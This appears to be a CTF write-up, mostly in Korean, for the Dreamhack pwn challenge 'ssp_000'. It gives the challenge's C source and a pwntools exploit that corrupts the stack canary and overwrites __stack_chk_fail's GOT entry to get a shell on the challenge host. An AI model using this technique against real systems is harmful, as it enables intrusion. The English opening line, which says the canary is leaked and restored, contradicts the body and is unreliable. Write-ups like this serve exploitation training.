ssp_000

Stack canary present, so the exploit reads it out first and writes it back in place during the overflow.

2026.08.18 Pwn original post
$ checksec ./ssp_000
[*] '/Users/chaeeun/Desktop/b93fb9e8-f75a-4aa0-99da-a59711cd7602/ssp_000'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    Stripped: No
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;
    return 0;
}

canary, NX, partial RELRO 가 있다. 받는 버퍼는 0x40 이지만 넣을 수 있는 게 0x80 이다. 버퍼 오버플로우일 수 있겠다. 하지만 카나리 보호기법이 적용되어 있기 때문에, 그냥은 안 된다.

하지만 이 코드는 카나리 릭이 불가능하다. 왜냐하면 overflow 는 되지만, 이후에 buf 를 출력하지 않기 때문이다. 대신 카나리를 릭하지 않고 우회 가능한 구조이다. 그 방법이 arbitrary write primitive — 임의 쓰기 취약점이다.

아마 Partial RELRO 이므로 GOT overwrite 를 사용하는 문제일 거다.

  1. buf overflow 로 canary 를 일부러 깨뜨림
  2. arbitrary write 로 __stack_chk_fail@GOT 를 get_shell 주소로 덮음
  3. main 이 return 할 때 canary check 실패
  4. __stack_chk_fail() 호출
  5. 그런데 GOT 가 get_shell 로 바뀌어 있어서 shell 실행

즉, canary 를 leak 하는 게 아니라 canary 실패 루틴을 get_shell 로 바꿔서 우회하는 방식입니다. 필요한 값은 두 개입니다.

addr  = __stack_chk_fail@GOT
value = get_shell 주소
from pwn import *

p = remote("host3.dreamhack.games", 8393)
elf = ELF("./ssp_000")

get_shell          = elf.symbols["get_shell"]
stack_chk_fail_got = elf.got["__stack_chk_fail"]

# canary를 일부러 깨뜨리기 위해 0x40 보다 크게 입력
p.send(b"A" * 0x50)

p.recvuntil(b"Addr : ")
p.sendline(str(stack_chk_fail_got).encode())

p.recvuntil(b"Value : ")
p.sendline(str(get_shell).encode())

p.interactive()